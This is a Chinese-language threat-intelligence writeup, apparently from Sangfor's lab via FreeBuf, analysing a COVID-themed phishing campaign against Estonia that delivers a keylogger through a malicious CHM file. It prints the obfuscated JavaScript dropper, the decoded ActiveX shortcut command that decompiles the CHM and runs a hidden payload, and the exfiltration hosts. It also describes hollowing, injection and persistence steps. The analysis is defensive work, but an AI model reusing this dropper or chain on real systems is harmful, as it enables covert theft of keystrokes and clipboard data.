样本简介
随着全球COVID-19新冠疫情的发展,不少黑客组织此时活动频繁,纷纷瞄准了该热点事件,并进行相应恶意活动,以此达到他们的最终目的。
近期深信服安全团队捕获了一个疑似有组织性的团队对爱沙尼亚进行窃密活动的样本,此次活动采用主题为“Tervis hoiuministeeriumi poolt heaks kiidetud teade COVID-19 viiruse levikust”(爱沙尼亚语翻译过来为“卫生部批准的关于COVID-19病毒传播的通知”)的邮件进行传播,附带恶意文件至附件,受害者无意执行后会被实时窃取相应的键盘与剪切板记录至黑客服务端,该样本利用了一定的高级技巧与持久化方式,非常具有隐蔽性。
样本分析
拿到附件压缩包解压后得到文件名为“Eeskiri-COVID-19.chm”的chm文件,对于chm的恶意文件,它本身是一个压缩包,可使用7zip对其解压,解压如下。
不演示打开chm文件了,这里先直接打开网页,发现是爱沙尼亚语言,内容是关于此次新冠病毒相关的内容,看起来是正常的网页,其实后台已经开始执行恶意代码了。
在已解压的文件中发现~tmp6.cab文件实质为PE文件,如下。
编译时间为2020年1月3日,如下。
查找导入表,一般较少的导入表,很有可能后续会存在反静态分析的手段。
提一下,hh.exe是微软Windows系统程序,.chm扩展名的帮助文件默认是用hh.exe打开的。
首先对1-index.htm文件查看源码,如下,果然发现了奇怪的JavaScript脚本内容。
<html> <title>-</title> <head> </head> <body> <img src="0.png"> <img src="1.png"> <img src="2.png"> <img src="3.png"> <img src="4.png"> <img src="http://maildrive.icu/downl/images/jpg_1.gif"> <script language="javascript"> var tmp1; var tmp2 = 2; var tmp3 = tmp1 + tmp2; function foo1(str1) { return str1.replace(/Y/g, '%'); } function foo2(str1) { return str1.replace(/X/g, '%'); } var str = 'Y3CY6FY62Y6AY65Y63Y74Y20Y69Y64Y3DY78Y20Y63Y6CY61Y73Y73Y69Y64Y3DY22Y63Y6CY73Y69Y64Y3AY61Y64Y62Y38Y38Y30Y61Y36Y2DY64Y38Y66Y66Y2DY31Y31Y63Y66Y2DY39Y33Y37Y37Y2DY30Y30Y61Y61Y30Y30Y33Y62Y37Y61Y31Y31Y22Y20Y77Y69Y64Y74Y68Y3DY32Y32Y20Y68Y65Y69Y67Y68Y74Y3DY32Y32Y3EY3CY70Y61Y72Y61Y6DY20Y6EY61Y6DY65Y3DY22Y43Y6FY6DY6DY61Y6EY64Y22Y20Y76Y61Y6CY75Y65Y3DY22Y53Y68Y6FY72Y74Y43Y75Y74Y22Y3EY3CY70Y61Y72Y61Y6DY20Y6EY61Y6DY65Y3DY22Y42Y75Y74Y74Y6FY6EY22Y20Y76Y61Y6CY75Y65Y3DY22Y42Y69Y74Y6DY61Y70Y3AY3AY73Y68Y6FY72Y74Y63Y75Y74Y22Y3EY3CY70Y61Y72Y61Y6DY20Y6EY61Y6DY65Y3DY22Y49Y74Y65Y6DY31Y22Y20Y76Y61Y6CY75Y65Y3DY22Y2CY63Y6DY64Y2EY65Y78Y65Y2EY2EY2CY2FY63Y20Y66Y6FY72Y20Y25Y69Y20Y69Y6EY20Y28Y2AY2EY63Y68Y6DY29Y20Y64Y6FY20Y28Y68Y68Y20Y2DY64Y65Y63Y6FY6DY70Y69Y6CY65Y20Y25Y74Y65Y6DY70Y25Y20Y25Y7EY69Y29Y26Y26Y63Y6DY64Y20Y2FY63Y20Y25Y74Y65Y6DY70Y25Y2FY7EY74Y6DY70Y36Y2EY63Y61Y62Y22Y3EY3CY70Y61Y72Y61Y6DY20Y6EY61Y6DY65Y3DY22Y49Y74Y65Y6DY32Y22Y20Y76Y61Y6CY75Y65Y3DY22Y32Y37Y33Y2CY31Y2CY31Y22Y3EY3CY2FY6FY62Y6AY65Y63Y74Y3E' var d1 = new Date(); var x1 = d1['getSeconds'](); var m1 = d1['getMinutes'](); setTimeout('decr()', 1949); var x3 = 0; function decr() { var i; var A=0; for (i=0;i<4000000;i++) A++; var d2 = new Date(); var x2 = d2['getSeconds'](); var m2 = d2['getMinutes'](); if (m1 != m2) x2 = x2 + 60; x3=x2-x1; if (x3 > 1) str=foo1(str); else str=foo2(str); document.write(" <img src='0.png'> <img src='1.png'> <img src='2.png'> <img src='3.png'> <img src='4.png'> "); document.write(unescape(str)); x.Click(); } </script> </body> </html>
通过对这段可疑JavaScript脚本的查看,发现会对其替换为url编码数据,之后对str编码的数据再对其url解码得到如下。
<object id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=22 height=22><param name="Command" value="ShortCut"><param name="Button" value="Bitmap::shortcut"><param name="Item1" value=",cmd.exe..,/c for %i in (*.chm) do (hh -decompile %temp% %~i)&&cmd /c %temp%/~tmp6.cab"><param name="Item2" value="273,1,1"></object>
提取出的具体会执行的命令如下:
"C:\Windows\System32\cmd.exe" /c for %i in (*.chm) do (hh -decompile %temp% %~i)&&cmd /c %temp%/~tmp6.cab
实质会执行以下命令:
hh -decompile C:\Users\admin\AppData\Local\Temp Eeskiri-COVID-19.chm cmd /c C:\Users\admin\AppData\Local\Temp/~tmp6.cab
~tam6.cab文件分析
后续执行的是一个PE文件,正是上面解压后的~tmp6.cab文件,带有图标。
~tmp6.cab为GUI程序,但为了隐蔽执行,界面已经隐藏了,首先找到WinMain函数进入后,会查看当前目录下面是否存在dll,如有会首先加载krrde.dll,但目前解压chm文件后,目录下没有krrde.dll,所以会加载失败。
该程序后续加载资源并读取资源,接着在内存里解密产生新的PE文件。经前期分析发现还会采用SMC的方式对后续要执行的代码进行修复还原,阻止前期安全人员对其静态分析,最后对自身进程镂空,然后直接取消内存映射后,将原进程加载地址替换为新的PE文件,完成换体操作,之后获取到新的PE文件的入口点处继续执行恶意代码。
具体实现流程如下,所需的API函数都通过动态导入的方式进行加载使用。
查找所需资源,0x81为资源名称,如下。
找到资源后,发现已被加密的数据会被解析成图像,如下。
读取完资源后,开始分配内存,之后复制到该内存区域。
解密后会开始执行由之前已复制好的一段新代码区域(类似shellcode),如下。
在内存中对原进程的进程取消内存映射,并在内存中替换为新的PE文件,完成换体操作以此免杀,对抗安全检测。
获取到会被替换的新PE文件后,查看其编译时间为2019年11月15日,从时间来看起不是最近的,但也有可能为伪装的时间,此处参考价值不大,能得到的大概结论是不伪造时间的话该团伙使用该模块的恶意活动在这之前就已经开始了,得到新PE文件入口点为00404994。
完成换体后,继续跳转到新PE文件入口点执行,如下。
新PE文件的导入表如下,与母体相比增加了。
核心文件分析
对在内存里释放出的PE文件,进行dump至本地,通过静态分析,发现可以正常解析分析,核心函数为sub_403580。
进入sub_402FD0后遍历进程,找到符合的进程后对其注入,如下。
对该PE文件进行分析后发现后续依然会依次读取RCData下的资源,找到正确的资源ID后会加载资源,最终进行组合,之后会解密。
对taskhost.exe进行注入,如下。
为了后续针对不同系统环境进行注入,会判断当前系统处理器的架构以及当前使用的操作系统版本,如下。
准备开始进程注入,通过获取进程列表并遍历寻找到taskhost.exe进程。
加载所需的资源,采用RC 4解密(密钥为agtr5Hb)后续接着对其解压再一次得到新的PE文件。
当RC 4解密成功后,但是此时得到的是被压缩的数据,后续还会对其解压。
调用微软提供的压缩函数解压缩成功,解压缩使用的压缩格式为0x102,0x102表示COMPRESSION_ENGINE_MAXIMUM OR COMPRESSION_FORMAT_LZNT1(非zlib格式)。
Mngr.dll分析
对上述解压后的PE_1文件进行提取(实质大小0x5200个字节),时间戳为2019/9/25 21:55,时间更早,查询后发现该PE文件为dll文件(文件名:Mngr.dll,属于64位dll程序),经分析发现后续还会注入到其他进程中。
存在两个导出函数,如下。
后续采用天堂之门技术,从32位运行模式转向64位模式运行进而注入到64位进程中。
开始进程注入前的准备工作,打开目标进程taskhost.exe。
注入的内容实质为之前内存解密释放的dll文件(Mngr.dll),如下是注入的流程与实际的所属区域。
将其提取后,本地查看,发现确实为之前注入的dll文件。
注入到taskhost.exe进程后,之后执行解密释放的Mngr.dll,它自身同样也有之前类似的流程,会解密资源并解压产生新的dll,将其注入到dwm.exe进程,执行后续的恶意活动,如窃密,这些被注入的进程都是系统关键进程,附带微软的数字签名,达到隐藏自身的目的。
再一次本地提取比较发现确实是之前注入的dll文件,如下则完全匹配。
接着还会注入到explorer.exe进程,包含原始Mngr.dll,并释放执行keylogger恶意程序,进行窃密。
对dump到本地的dll文件进行分析,初步发现有与之前母体一致的流程(内存中解密释放另一文件), 不过只是运行模式变了,注入的内容为64位恶意程序。
原始dll文件分析
之前最初产生的dll运行流程如下,dll64_1.dll首先执行Load函数,该导出函数采用API HASH的方式获取所需的API函数,阻止对其静态分析。
后续调用MyFunction导出函数,首先对事件对象进行判断,如果没有创建事件就创建事件对象,例如:
“e_tr10_21168770_0”
“e_tr10_21168770_1”
“e_tr10_328018_1”
之后读取资源解密解压再一次得到新的dll创建远程线程进行注入,如下。
同时之前已换体的进程(~tmp6.cab)也会释放内存中生成的新PE文件至系统启动项路径下,造成系统重启后再次执行一次进程注入(而一旦重启后就会自删除重启执行的本地恶意文件),执行恶意代码。
系统启动路径:C:\Users\onion\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
快捷方式:systemsrv7.lnk
实际路径:c:\users\onion\appdata\local\systemsrv7.exe
恶意文件systemsrv7.exe,实际是之前内存进程替换的核心PE文件,只不过已经释放在本地磁盘上。
整个注入流程简单描述为taskhost.exe是第一步注入的进程,主要为后续的进程注入做跳板,同时包含keylogger并隐秘执行,记录用户的键盘记录与剪切板内容。之后由taskhost.exe内被注入的dll再次执行解密解压并释放出新的dll来进一步注入到dwn.exe,此时为第二次注入,同时也存在keylogger恶意程序并记录剪切板内容,dwn.exe进程之后会将窃取的记录发送到服务端,通过maildrive.icu上传记录,通过51.83.158.70/upload10.php上传记录文件。dwn.exe进程在被注入成功会不断寻找LoginUI.exe进程是否存在,LogonUI.exe是实现用户登录到本地计算机时显示的图形用户界面,是Windows的核心组件。
已被注入的taskhost.exe进程内部执行恶意代码后也会将其注入到explorer.exe进程,包含keylogger并隐秘执行,记录用户的键盘记录与剪切板内容,会将窃取的记录发送到服务端,同时通过maildrive.icu上传保存的log记录文件。
服务端分析
通过获取的服务端地址进一步分析,直接访问后发现竟然返回了一个正常的站点,实质是一个假冒的站点。
通过搜索假冒网站下的关键词,找到该站点原本属于Candere,是一家印度的黄金,钻石,宝石,铂金珠宝和金币在线门户网站,从网页看属于2018年的网页。
直接访问会跳转至https,而假冒站点的证书显示无效,最后发现是伪装的另一家站点的正常证书,如下。
会进行访问的路径,被曝光后已经移除了相应的文件,反应非常快,至于目前运行的站点是不是原始团队在运营,目前无法得知。不过或许已经达到了该组织前期所需的目的。
由dwn.exe进程发起的请求,UA头是比较特殊的,不常见,如下。
整体流程图
威胁情报
HASH
6c27a66fc08deef807cd7c27650bf88f
ee1d76d97fdbb0b5d96c5b91dbbcf0e4
ad55a2c61fe3bb9294860e4c1e11f5e0
URL
maildrive.icu
HOST
5.61.51.230
51.83.158.70
解决方案
深信服下一代防火墙AF、终端检测响应平台EDR、安全感知平台SIP等安全产品均能有效检测防御此恶意软件,已经部署相关产品的用户可以进行安全扫描,检测清除此恶意软件,如图所示:
来源:freebuf.com 2020-09-07 11:48:48 by: 深信服千里目安全实验室
请登录后发表评论
注册